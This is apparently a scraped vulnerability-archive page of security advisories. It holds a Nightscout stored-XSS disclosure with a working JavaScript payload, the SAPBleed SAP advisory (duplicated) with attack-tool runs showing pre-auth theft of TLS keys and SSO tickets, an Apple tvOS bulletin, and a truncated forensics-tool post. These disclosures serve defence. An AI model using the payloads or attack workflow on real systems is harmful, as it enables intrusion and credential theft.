+\n       `onload=\"document.title=\u0027${marker}\u0027\"\u003e`;\n\n     c.socket.emit(\"dbAdd\", {\n       collection: \"treatments\",\n       data: {\n         eventType: \"Note\",\n         created_at: new Date(Date.now() - 300000).toISOString(),\n         duration: 10,\n         enteredBy: \"PoC\",\n         notes: payload\n       }\n     }, (res) =\u003e {\n       const id = res?.[0]?._id;\n       if (!id) return console.error(\"Failed:\", res);\n\n       localStorage.setItem(\"nsXssPocId\", id);\n       console.log(\"Created PoC:\", { id, marker });\n       location.reload();\n     });\n   })();\n\nThe proof of concept stores an image element whose \u0027onload\u0027 handler\nchanges the document title. This provides a visible demonstration of\nJavaScript execution without performing privileged Nightscout actions.\n\nAfter the treatment has been stored and the page reloaded, hovering\nover the malicious treatment causes the payload to execute.\n\n6. Affected Versions\n--------------------\nNightscout versions \u003e= 0.8.1 and \u003c 15.0.8 are affected.\n\nThe vulnerable behaviour results from the combination of the WebSocket\ntreatment write path accepting unsanitized treatment fields and the\nclient-side treatment tooltip rendering those fields as HTML.\n\nNightscout 15.0.8 contains the fix.\n\n7. Remediation\n--------------\nUsers should update to Nightscout 15.0.8 or later, which contains the\nfix for this vulnerability.\n\nThe fix prevents treatment data written through the affected WebSocket\npath from reaching an executable HTML rendering context without\nappropriate sanitization.\n\nUsers should upgrade even where treatment write access is restricted,\nas exploitation requires only treatment write permissions and the\nstored payload may subsequently execute in the browser of a more\nprivileged Nightscout user.\n\n8. Workaround\n-------------\nUpgrading to Nightscout 15.0.8 or later is the recommended remediation.\n\nIf an affected installation cannot be upgraded immediately, operators\nshould restrict treatment write permissions to trusted users and\nclients until the upgrade can be completed.\n\nThis reduces exposure but does not correct the underlying discrepancy\nbetween the WebSocket treatment write path and treatment rendering, and\nshould not be treated as a substitute for upgrading.\n\n9. CVSS\n-------\nSeverity: Critical\n\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N\n\nAttack vector: Network\nAttack complexity: Low\nAttack requirements: None\nPrivileges required: Low\nUser interaction: Passive\nVulnerable system: High confidentiality and integrity impact; no\navailability impact.\nSubsequent system: High confidentiality and integrity impact; no\navailability impact.\n\n10. References\n-------------\nResearch report:\nhttps://www.scstudios.tech/research/GHSA-5mrq-gpqw-q5v5\n\nNightscout:\nhttps://github.com/nightscout/cgm-remote-monitor\n\nGitHub Security Advisory:\nhttps://github.com/nightscout/cgm-remote-monitor/security/advisories/\nGHSA-5mrq-gpqw-q5v5\n\nCWE-79:\nhttps://cwe.mitre.org/data/definitions/79.html\n\nFix:\nhttps://github.com/nightscout/cgm-remote-monitor/pull/8591\n\nFixed release:\nhttps://github.com/nightscout/cgm-remote-monitor/releases/tag/v15.0.8\n\n10. Timeline\n------------\n2026-09-01   Vulnerability privately reported to a Nightscout maintainer,\n            with a proof of concept and a demonstration video.\n\n2026-09-02   Private GitHub security report GHSA-5mrq-gpqw-q5v5 submitted.\n            A temporary private fork was created for the report.\n\n2026-09-02   Fix merged in PR #8591 (20:20 UTC, 3 September in Hobart).\n\n2026-09-04   Nightscout 15.0.8 released containing the fix (18:27 UTC,\n            5 September in Hobart).\n\n2026-09-06   Reporter requested that the advisory be accepted as a draft\n            and reported submitting a CVE request to MITRE.\n\n2026-09-17   Reporter notified the maintainer of an intention to publish\n            a technical disclosure that week and invited objections.\n\n2026-09-19   Maintainer accepted the GitHub security report.\n\n2026-09-22   Reporter joined the Nightscout security team and requested\n            a CVE through GitHub.\n\n2026-09-26   CVE request repeated through GitHub. Further requests were\n            made during October; no CVE ID had been assigned at the\n            time of preparing this disclosure.\n\n2026-10-30   Reporter followed up with the maintainer about publication\n            of the disclosure, noting that the fix was in 15.0.8.\n\n2026-11-13   Maintainer acknowledged the proposed coordinated\n            publication of the disclosure and GHSA.\n\n2026-11-16   Public disclosure and publication.\n\n--\nRuben Sutton\nSoftware Developer \u0026 Security Researcher\nSuperCode Studios\nhttps://www.scstudios.tech/\nPGP: FE673 AD759 DC01A 264DC 933FD 4B425 66BB8 B28FA_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0574

Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
Title
SAPBleed: Pre-Auth Memory Disclosure and RCE in SAP NetWeaver, Web Dispatcher and HANA XS (CVE-2026-76964, CVE-2026-89126)
Summary
nullFaktor Security Advisory < 2026-11-12 > =========================================================== Title: SAPBleed: Pre-Auth Process Memory Leak and RCE in SAP ICM and Web Dispatcher, including the internal Web Dispatcher in SAP HANA XS Vulnerability: Heap Buffer Overflow / Memory Leak / RCE CVE (ICM): CVE-2026-76964 CVE (Web Disp): CVE-2026-89126 Impact: Critical CVSS 3.0 Score: 10.0 (both CVEs) CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Products: SAP NetWeaver AS ABAP (ICM); SAP Web Dispatcher; SAP HANA XS (internal Web Dispatcher) Affected Versions: See SAP Security Notes 3778530 and 3778556 Vendor Homepage: https://www.sap.com SAP Note (ICM): 3778530 SAP Note (Web Disp): 3778556 Date: 2026-11-12 Author: Raschin Tavakoli | nullFaktor GmbH https://www.nullfaktor.com office () nullfaktor com https://x.com/r4yzor9 https://x.com/_nullfaktor Blog: https://nullfaktor.com/ blog/cve-2026-76964-cve-2026-89126-sapbleed Short Summary ============= SAPBleed is a pre-authentication memory-disclosure and RCE vulnerability affecting SAP ICM, SAP Web Dispatcher, and SAP HANA XS. An Internet-facing SAP Web Dispatcher, acting as a reverse proxy, can forward the attack to an ICM in a protected backend network segment. The WebSocket connection becomes a path for leaking memory from that internal component over the Internet. Attackers can repeatedly read selected ICM memory, potentially exposing SSO tickets and private TLS keys. ICM-accessible shared memory also contains code addresses from separate ABAP dialog work processes (disp+work), even though those processes are not directly exposed to the Internet. The ICM can remain running during the memory disclosure. Traffic can travel over TLS-protected WebSocket connections, concealing the leaked payload from network sensors without TLS visibility. Pre-authentication code execution has also been demonstrated in both ICM and Web Dispatcher. Vendor description ================== SAP SE is an enterprise software company headquartered in Walldorf, Germany. Its products include enterprise resource planning (ERP) software and business applications. Vulnerability ============= SAPBleed is a pre-authentication heap buffer overflow in the WebSocket processing of SAP Internet Communication Manager (ICM) and SAP Web Dispatcher, including Web Dispatcher deployments used with SAP HANA XS. The flaw allows an unauthenticated attacker to corrupt WebSocket connection state. Depending on how the corruption is exploited, the affected process can disclose memory or be used for remote code execution. The attack is carried over a WebSocket connection and can reach affected services over HTTP or HTTPS, including TLS-encrypted connections. The memory disclosure occurs when corrupted connection state causes the process to return heap contents beyond the data intended for its response. A Web Dispatcher can be targeted directly, exposing memory from its own process. Where affected traffic is forwarded to an ICM, the ICM can also be targeted through the Web Dispatcher. Leaked process memory may contain SSO tickets, cryptographic key material and process addresses that enable a full ASLR bypass. In our tested laboratory deployment, the research PoCs demonstrated: - Direct disclosure of Web Dispatcher process memory, including its own address information, enabling an ASLR bypass for that process. - Repeatable reads of arbitrary ICM process memory, including when the ICM was reached through a Web Dispatcher. - Disclosure of ICM process addresses, enabling an ASLR bypass in that process. - Cross-process disclosure of code addresses belonging to separate ABAP dialog work processes (DIA/disp+work), defeating their own ASLR despite their separate process address spaces. - Remote identification of the SAP kernel release, build and patch level without SAP credentials. - Extraction of the server's private TLS key from ICM memory. - Extraction of a valid MYSAPSSO2 single sign-on ticket from active authenticated traffic present in ICM memory. The impact extends beyond the ICM: SAP shared memory visible to the ICM contains code addresses from separate DIA work processes. Our PoC recovered their module base addresses over the network before authentication. This removes ASLR as a barrier for address-dependent RCE flaws in those work processes as well. A leaked SSO ticket may allow impersonation of its user while the ticket remains valid. Exposure of a TLS private key compromises the server's key material; the effect on past traffic depends on the TLS configuration. Other secrets held in ICM memory may also be exposed, depending on the system's workload and the data present at the time of an attack. SAPBleed is particularly critical because it exposes process memory over the Internet before authentication. The disclosed process addresses defeat ASLR in the affected processes. This can make other memory-corruption flaws in those same processes exploitable when their remote code execution path requires an otherwise unknown address. Our SAP Overpass advisory (CVE-2026-44756), published September 10, 2026, illustrates this: its RCE proof required an independently obtained module base address. SAPBleed can supply that address where both issues affect the same ICM and can expose the corresponding address for a DIA work process. See: https://nullfaktor.com/blog/cve-2026-44756-sap-netweaver-pre-auth-rce Our research also established pre-authentication remote code execution (RCE) in both ICM and Web Dispatcher. We engineered the ICM memory-extraction path to restore a consistent execution state after each read. In repeated laboratory runs, it extracted data reliably without crashing the ICM or dialog work processes, including when traffic passed through a Web Dispatcher. The services remained available during those runs. Further exploitation details are withheld from this version. Tested Environment ================== The issue was reproduced in a laboratory deployment of SAP NetWeaver AS ABAP and SAP Web Dispatcher. Full build details are omitted from this version. Attack Scenario =============== Any affected SAP system that exposes the vulnerable WebSocket path to the Internet can be attacked before authentication. Placing a Web Dispatcher in front of the ICM does not shield that backend: our lab demonstrated that attack traffic can pass through the Internet-facing proxy and disclose ICM process memory even when the ICM is not directly reachable from the Internet. The Web Dispatcher can also be attacked directly. No SAP credentials, prior session, or user interaction are required. Mitigation ========== Install the corrections in SAP Security Notes 3778530 (ICM) and 3778556 (Web Dispatcher) at the fixed patch levels for each installed release. As a temporary measure, disable WebSocket HTTP upgrades in the relevant ICM and Web Dispatcher profiles with icm/HTTP/support_websocket_upgrade=FALSE and restart the components. This can disrupt functions that require WebSocket. SAP FAQ Note 3778788 provides further guidance on temporary workarounds. Until updates are applied, restrict network access to affected systems. Proof of Concept ================ The following excerpts are from our laboratory tests. All attacks reach the target before authentication. SIDs and OS user names have been redacted, and line wrapping has been adjusted for readability. SAPBleed Integrated Tool ------------------------- The SAPBleed tool automates the full chain from initial memory disclosure through ASLR bypass to secret extraction without attacker credentials or a prior attacker session. The SSO test below uses concurrent authenticated traffic from a separate lab client. TLS private-key extraction (ICM PIE leak, kernel fingerprint, TLS key recovery in one session): $> python3 sapbleed.py secure-bank 50001 tls SAPBleed Lab Demo Target: secure-bank:50001 Authentication: none (pre-auth) Operations: ICM PIE -> Kernel fingerprint -> TLS key [CHECK] Connecting to ICM ... OK 00:01 [1/3] Leaking the ICM PIE base [OK] ICM PIE: 0x*** 00:08 [2/3] Identifying the kernel build and patch level [OK] ICM kernel 793, patch level 101 (read from the kernel patch table) 00:25 [3/3] Extracting the TLS private key [OK] TLS private key extracted 00:28 Saved to: ~/.sapbleed/loot/tls_private_key.pem RESULT: 3/3 operations succeeded TOTAL TIME: 01:04 SSO ticket extraction (ICM PIE leak, kernel fingerprint, and recovery of a MYSAPSSO2 ticket from concurrent victim traffic): In one terminal, a victim sends authenticated HTTPS requests: $> python3 victim_sim.py secure-bank 50001 Victim simulator: secure-bank:50001 every 0.3s Ticket: ~/.sapbleed/victim_ticket.b64 (1164 characters) Press Ctrl+C to stop. [1] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid) [2] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid) [3] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid) With that traffic running, the unauthenticated client extracts the victim's sso ticket in another terminal: $> python3 sapbleed.py secure-bank 50001 sso SAPBleed Lab Demo Target: secure-bank:50001 Authentication: none (pre-auth) Operations: ICM PIE -> Kernel fingerprint -> SSO ticket Loot: ~/.sapbleed/loot SSO traffic: on non-productive systems, use victim_sim.py to simulate SSO traffic [CHECK] Connecting to ICM ... OK 00:01 [1/3] Leaking the ICM PIE base [OK] ICM PIE: 0x*** 00:20 [2/3] Identifying the kernel build and patch level (icman) [OK] ICM kernel 793, patch level 101 (read from the kernel patch table) 00:13 [3/3] Extracting an SSO ticket [OK] SSO ticket extracted 00:29 Saved to: ~/.sapbleed/loot/mysapsso2_ticket.b64 RESULT: 3/3 operations succeeded TOTAL TIME: 01:04 Artifacts: ~/.sapbleed/loot/mysapsso2_ticket.b64 Benchmark: ~/.sapbleed/loot/benchmark.json Cross-process ASLR bypass (ICM PIE leak extended to DIA work-process addresses via SAP shared memory): $> python3 sapbleed.py secure-bank 50001 dia SAPBleed Lab Demo Target: secure-bank:50001 Authentication: none (pre-auth) Operations: ICM PIE -> Kernel fingerprint -> disp+work PIE [CHECK] Connecting to ICM ... OK 00:01 [1/3] Leaking the ICM PIE base [OK] ICM PIE: 0x*** 00:22 [2/3] Identifying the kernel build and patch level [OK] ICM kernel 793, patch level 101 (read from the kernel patch table) 00:25 [3/3] Leaking the disp+work PIE base via shared memory [OK] disp+work PIE: 0x*** 00:23 RESULT: 3/3 operations succeeded TOTAL TIME: 01:12 1. Internet Communication Manager (ICM) ======================================= 1.1 Memory Disclosure (ICM Heap Leak) --------------------------------------- The standalone pre-authentication heap-leak PoC returns a 16 KiB WebSocket binary frame containing uninitialised ICM heap data. This is one response, not a limit on the total disclosure: the ICM PoC tool uses a ROP-based reader to read selected ICM memory addresses over subsequent WebSocket connections. The ICM survives; no PIE base or heap address is needed as input for the initial leak: $> python3 poc-icm-websocket-heapleak.py secure-bank 50001 icman pre-auth wire-only heap leak target: secure-bank:50001 (WebSocket connection) [*] warming the allocator (churning freed pointer-bearing chunks)... [*] attempt 1/3 [+] WebSocket upgraded [+] crafted frames altered connection state [+] received 16390 bytes from icman RESULT: OVER-READ FIRED - 16390 bytes of an uninitialised icman heap buffer leaked to the client (icman survives; pre-auth; wire-only; no PIE/heap base
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
analysis GCVE-1988-2026-0574 (this record)

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          "value": "nullFaktor Security Advisory \u003c 2026-11-12 \u003e\n===========================================================\nTitle:               SAPBleed: Pre-Auth Process Memory Leak and RCE\n                     in SAP ICM and Web Dispatcher, including the\n                     internal Web Dispatcher in SAP HANA XS\n\nVulnerability:       Heap Buffer Overflow / Memory Leak / RCE\n\nCVE (ICM):           CVE-2026-76964\nCVE (Web Disp):      CVE-2026-89126\nImpact:              Critical\nCVSS 3.0 Score:      10.0 (both CVEs)\nCVSS Vector:         CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n\nProducts:            SAP NetWeaver AS ABAP (ICM); SAP Web Dispatcher;\n                     SAP HANA XS (internal Web Dispatcher)\nAffected Versions:   See SAP Security Notes 3778530 and 3778556\nVendor Homepage:     https://www.sap.com\n\nSAP Note (ICM):      3778530\nSAP Note (Web Disp): 3778556\nDate:                2026-11-12\nAuthor:              Raschin Tavakoli | nullFaktor GmbH\n                     https://www.nullfaktor.com\n                     office () nullfaktor com\n                     https://x.com/r4yzor9\n                     https://x.com/_nullfaktor\nBlog:                https://nullfaktor.com/\n                     blog/cve-2026-76964-cve-2026-89126-sapbleed\n\nShort Summary\n=============\n\nSAPBleed is a pre-authentication memory-disclosure and RCE\nvulnerability affecting SAP ICM, SAP Web Dispatcher, and SAP HANA XS.\nAn Internet-facing SAP Web Dispatcher, acting as a reverse proxy,\ncan forward the attack to an ICM in a protected backend network\nsegment. The WebSocket connection becomes a path for leaking\nmemory from that internal component over the Internet. Attackers can\nrepeatedly read selected ICM memory, potentially exposing SSO tickets\nand private TLS keys. ICM-accessible shared memory also contains code\naddresses from separate ABAP dialog work processes (disp+work), even\nthough those processes are not directly exposed to the Internet.\n\nThe ICM can remain running during the memory disclosure. Traffic can\ntravel over TLS-protected WebSocket connections, concealing the leaked\npayload from network sensors without TLS visibility. Pre-authentication\ncode execution has also been demonstrated in both ICM and Web\nDispatcher.\n\nVendor description\n==================\nSAP SE is an enterprise software company headquartered in Walldorf,\nGermany. Its products include enterprise resource planning (ERP)\nsoftware and business applications.\n\nVulnerability\n=============\nSAPBleed is a pre-authentication heap buffer overflow in the WebSocket\nprocessing of SAP Internet Communication Manager (ICM) and SAP Web\nDispatcher, including Web Dispatcher deployments used with SAP HANA XS.\nThe flaw allows an unauthenticated attacker to corrupt WebSocket\nconnection state. Depending on how the corruption is exploited, the\naffected process can disclose memory or be used for remote code\nexecution. The attack is carried over a WebSocket connection and can\nreach affected services over HTTP or HTTPS, including TLS-encrypted\nconnections.\n\nThe memory disclosure occurs when corrupted connection state causes\nthe process to return heap contents beyond the data intended for its\nresponse. A Web Dispatcher can be targeted directly, exposing memory\nfrom its own process. Where affected traffic is forwarded to an ICM,\nthe ICM can also be targeted through the Web Dispatcher. Leaked process\nmemory may contain SSO tickets, cryptographic key material and process\naddresses that enable a full ASLR bypass.\n\nIn our tested laboratory deployment, the research PoCs demonstrated:\n\n  - Direct disclosure of Web Dispatcher process memory, including its\n    own address information, enabling an ASLR bypass for that process.\n\n  - Repeatable reads of arbitrary ICM process memory, including when\n    the ICM was reached through a Web Dispatcher.\n\n  - Disclosure of ICM process addresses, enabling an ASLR bypass in\n    that process.\n\n  - Cross-process disclosure of code addresses belonging to separate\n    ABAP dialog work processes (DIA/disp+work), defeating their own\n    ASLR despite their separate process address spaces.\n\n  - Remote identification of the SAP kernel release, build and patch\n    level without SAP credentials.\n\n  - Extraction of the server\u0027s private TLS key from ICM memory.\n\n  - Extraction of a valid MYSAPSSO2 single sign-on ticket from active\n    authenticated traffic present in ICM memory.\n\nThe impact extends beyond the ICM: SAP shared memory visible to the ICM\ncontains code addresses from separate DIA work processes. Our PoC\nrecovered their module base addresses over the network before\nauthentication. This removes ASLR as a barrier for address-dependent\nRCE flaws in those work processes as well.\n\nA leaked SSO ticket may allow impersonation of its user while the\nticket remains valid. Exposure of a TLS private key compromises the\nserver\u0027s key material; the effect on past traffic depends on the TLS\nconfiguration. Other secrets held in ICM memory may also be exposed,\ndepending on the system\u0027s workload and the data present at the time of\nan attack.\n\nSAPBleed is particularly critical because it exposes process memory\nover the Internet before authentication. The disclosed process\naddresses defeat ASLR in the affected processes. This can make other\nmemory-corruption flaws in those same processes exploitable when their\nremote code execution path requires an otherwise unknown address.\n\nOur SAP Overpass advisory (CVE-2026-44756), published September 10,\n2026, illustrates this: its RCE proof required an independently\nobtained module base address. SAPBleed can supply that address where\nboth issues affect the same ICM and can expose the corresponding\naddress for a DIA work process.\nSee:\nhttps://nullfaktor.com/blog/cve-2026-44756-sap-netweaver-pre-auth-rce\n\nOur research also established pre-authentication remote code execution\n(RCE) in both ICM and Web Dispatcher. We engineered the ICM\nmemory-extraction path to restore a consistent execution state after\neach read. In repeated laboratory runs, it extracted data reliably\nwithout crashing the ICM or dialog work processes, including when\ntraffic passed through a Web Dispatcher. The services remained\navailable during those runs.\n\nFurther exploitation details are withheld from this version.\n\nTested Environment\n==================\nThe issue was reproduced in a laboratory deployment of SAP NetWeaver AS\nABAP and SAP Web Dispatcher. Full build details are omitted from this\nversion.\n\nAttack Scenario\n===============\nAny affected SAP system that exposes the vulnerable WebSocket path to\nthe Internet can be attacked before authentication. Placing a Web\nDispatcher in front of the ICM does not shield that backend: our lab\ndemonstrated that attack traffic can pass through the Internet-facing\nproxy and disclose ICM process memory even when the ICM is not directly\nreachable from the Internet. The Web Dispatcher can also be attacked\ndirectly. No SAP credentials, prior session, or user interaction are\nrequired.\n\nMitigation\n==========\nInstall the corrections in SAP Security Notes 3778530 (ICM) and 3778556\n(Web Dispatcher) at the fixed patch levels for each installed release.\nAs a temporary measure, disable WebSocket HTTP upgrades in the relevant\nICM and Web Dispatcher profiles with\nicm/HTTP/support_websocket_upgrade=FALSE and restart the components.\nThis can disrupt functions that require WebSocket. SAP FAQ Note 3778788\nprovides further guidance on temporary workarounds. Until updates are\napplied, restrict network access to affected systems.\n\nProof of Concept\n================\n\nThe following excerpts are from our laboratory tests. All\nattacks reach the target before authentication. SIDs and OS\nuser names have been redacted, and line wrapping has been\nadjusted for readability.\n\n\nSAPBleed Integrated Tool\n-------------------------\n\nThe SAPBleed tool automates the full chain from initial memory\ndisclosure through ASLR bypass to secret extraction without attacker\ncredentials or a prior attacker session. The SSO test below uses\nconcurrent authenticated traffic from a separate lab client.\n\nTLS private-key extraction (ICM PIE leak, kernel fingerprint,\nTLS key recovery in one session):\n\n$\u003e python3 sapbleed.py secure-bank 50001 tls\n\nSAPBleed Lab Demo\nTarget:         secure-bank:50001\nAuthentication: none (pre-auth)\nOperations:     ICM PIE -\u003e Kernel fingerprint -\u003e TLS key\n\n[CHECK] Connecting to ICM ... OK  00:01\n\n[1/3] Leaking the ICM PIE base\n[OK]  ICM PIE: 0x***  00:08\n\n[2/3] Identifying the kernel build and patch level\n[OK]  ICM kernel 793, patch level 101\n      (read from the kernel patch table)  00:25\n\n[3/3] Extracting the TLS private key\n[OK]  TLS private key extracted  00:28\n      Saved to: ~/.sapbleed/loot/tls_private_key.pem\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:04\n\nSSO ticket extraction (ICM PIE leak, kernel fingerprint, and\nrecovery of a MYSAPSSO2 ticket from concurrent victim traffic):\n\nIn one terminal, a victim sends authenticated HTTPS requests:\n\n$\u003e python3 victim_sim.py secure-bank 50001\n\nVictim simulator: secure-bank:50001 every 0.3s\nTicket:           ~/.sapbleed/victim_ticket.b64 (1164 characters)\nPress Ctrl+C to stop.\n\n[1] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n[2] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n[3] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n\nWith that traffic running, the unauthenticated client extracts the\nvictim\u0027s sso ticket in another terminal:\n\n$\u003e python3 sapbleed.py secure-bank 50001 sso\n\nSAPBleed Lab Demo\nTarget:         secure-bank:50001\nAuthentication: none (pre-auth)\nOperations:     ICM PIE -\u003e Kernel fingerprint -\u003e SSO ticket\nLoot:           ~/.sapbleed/loot\nSSO traffic:    on non-productive systems, use victim_sim.py\n                to simulate SSO traffic\n\n[CHECK] Connecting to ICM ... OK  00:01\n\n[1/3] Leaking the ICM PIE base\n[OK]  ICM PIE: 0x***  00:20\n\n[2/3] Identifying the kernel build and patch level (icman)\n[OK]  ICM kernel 793, patch level 101\n      (read from the kernel patch table)  00:13\n\n[3/3] Extracting an SSO ticket\n[OK]  SSO ticket extracted  00:29\n         Saved to: ~/.sapbleed/loot/mysapsso2_ticket.b64\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:04\n\nArtifacts:\n  ~/.sapbleed/loot/mysapsso2_ticket.b64\n\nBenchmark: ~/.sapbleed/loot/benchmark.json\n\nCross-process ASLR bypass (ICM PIE leak extended to DIA\nwork-process addresses via SAP shared memory):\n\n$\u003e python3 sapbleed.py secure-bank 50001 dia\n\nSAPBleed Lab Demo\nTarget:         secure-bank:50001\nAuthentication: none (pre-auth)\nOperations:     ICM PIE -\u003e Kernel fingerprint\n                -\u003e disp+work PIE\n\n[CHECK] Connecting to ICM ... OK  00:01\n\n[1/3] Leaking the ICM PIE base\n[OK]  ICM PIE: 0x***  00:22\n\n[2/3] Identifying the kernel build and patch level\n[OK]  ICM kernel 793, patch level 101\n      (read from the kernel patch table)  00:25\n\n[3/3] Leaking the disp+work PIE base via shared memory\n[OK]  disp+work PIE: 0x***  00:23\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:12\n\n\n1. Internet Communication Manager (ICM)\n=======================================\n\n1.1 Memory Disclosure (ICM Heap Leak)\n---------------------------------------\n\nThe standalone pre-authentication heap-leak PoC returns a 16 KiB\nWebSocket binary frame containing uninitialised ICM heap data. This\nis one response, not a limit on the total disclosure: the ICM PoC tool\nuses a ROP-based reader to read selected ICM memory\naddresses over subsequent WebSocket connections. The ICM survives;\nno PIE base or heap address is needed as input for the initial leak:\n\n$\u003e python3 poc-icm-websocket-heapleak.py secure-bank 50001\n\nicman pre-auth wire-only heap leak\ntarget: secure-bank:50001\n  (WebSocket connection)\n[*] warming the allocator\n    (churning freed pointer-bearing chunks)...\n[*] attempt 1/3\n[+] WebSocket upgraded\n[+] crafted frames altered connection state\n[+] received 16390 bytes from icman\n\nRESULT: OVER-READ FIRED - 16390 bytes of an\n  uninitialised icman heap buffer leaked to\n  the client (icman survives; pre-auth;\n  wire-only; no PIE/heap base"
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GCVE-1988-2026-0573

Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
Title
APPLE-SA-11-13-2026-1 tvOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-13-2026-1 tvOS 27.2.1 tvOS 27.2.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149721. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: Apple TV 4K 2nd generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple App Intents Available for: Apple TV 4K 2nd generation and later Impact: An app may be able to access sensitive user data Description: An authorization issue was addressed with improved state management. CVE-2026-113963: László Várady Bluetooth Available for: Apple TV 4K 2nd generation and later Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: Apple TV 4K 2nd generation and later Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: Apple TV 4K 2nd generation and later Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: Apple TV 4K 2nd generation and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher rapportd Available for: Apple TV 4K 2nd generation and later Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple Apple TV will periodically check for software updates. Alternatively, you may manually check for software updates by selecting "Settings -> System -> Software Update -> Update Software." To check the current version of software, select "Settings -> General -> About." All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmr3dWYACgkQ4Ifiq8DH 7PViARAAuNc2qlV+XHOsoPk0Zr3unXxh5G8s2uasQwENUHJ2hH/blA9eb7QoDmsF brtc9OnaVVFR7hePKXamzxF+BsZtdsNSr0o8bBKkOB1C0+0ODi8QN/RJnW1I2fV4 GTxCozFMB+2mXHgeZLEwpv++gPK/0mVpxzC7xBRIJf8L769wVmelxDwF4SASWT63 pGunJ4MPrL2yJovvpR/UYFnm8vhPs3RpKDFZ4wROahfZhCQpcpVBMRHRcCKdeQXE O41Wp5B8AJPohYsnAWzTNCe4DOCxeDsav13XZulcErCFqf5fvvFJf/LDLON2kcIF KHXPmmk+78xFPtx/CHsG5fnfYP/z6Evt2byKAE0nZxAICtamfarormY9LTwoAZzd XD1t8BmdvupBvYQ1Hc33GCbc627K4qlZosuyLkTOOsGT0PR+DzDlcIb/T+LOxJaM 9ve+8mIXUYqo8pkNIhThP6joJRxzvwLvMbv2GP3c59JtEMBEaa5ZQQCbVftOqQNf sDwtjubvzWUj5WxUu5S+VaFgROJkVq3FFJC5c6nUPsJBwuuYl6w0bOyjrQu2ytpI Ewy4KGE1RQFw8lHQZxcrk47g5H63qdfZFU48GyLk+vdNBKCus4fCf+J8u4zFnFAd CP5BI6zg/KwW7l/4ctLF5eTWMP/B6jPLPtGCdrA8XWXAOtWKhWU= =ijyD -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Tvos Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0573 (this record)

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GCVE-1988-2026-0572

Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
Title
[Tool] starshield-forensics v0.3.7: Offline Chromium LevelDB .log carver (Python stdlib, MIT)
Summary
Tool: starshield-forensics v0.3.7 & StarShield-Bench-24 Category: Digital Forensics / Incident Response (DFIR) & AI Security License: MIT (Open Source, Python >= 3.10 standard library only) Author: Ziqi Xiao (@Ziqi) Repository: https://github.com/Ziqi/starshield-forensics Release Tag: https://github.com/Ziqi/starshield-forensics/releases/tag/v0.3.7 Documentation: https://ziqi.github.io/starshield/ Zenodo DOI: https://doi.org/10.5281/zenodo.24145804 (v0.3.7: 10.5281/zenodo.24156262) Supply Chain: OpenSSF Best Practices Silver (#16602) | Scorecard 7.1/10 https://www.bestpractices.dev/projects/16602 1. Summary & Threat Context --------------------------- During Business Email Compromise (BEC), supplier invoice diversion, and Authorized Push Payment (APP) fraud investigations, browser-based messaging and invoicing apps frequently propagate UI retractions or post-transfer edits as soft-delete updates while uncompacted Chromium IndexedDB / Local Storage LevelDB write-ahead logs (.log) still retain earlier UTF-8 or UTF-16LE JSON records or text fragments on disk. At the same time, piping untrusted adversary chat exports directly into LLM summarizers exposes incident responders to indirect prompt injection (OWASP LLM01) and fabricated payment routing identifiers. starshield-forensics v0.3.7 is a deterministic, offline Python 3.10+ standard-library CLI utility (zero external PyPI dependencies) packaged as a reproducible single-file .pyz zipapp for restricted lab and triage hosts. 2. Technical Capabilities (v0.3.7) ---------------------------------- - Redacted Storage Feasibility Check (`precheck`): Scans read-only copies of Chromium IndexedDB / Local Storage directories offline, distinguishing uncompacted `.log` WAL segments from Snappy `.ldb` SSTables (footer magic `0xdb4775248b80fb57`) and Blink 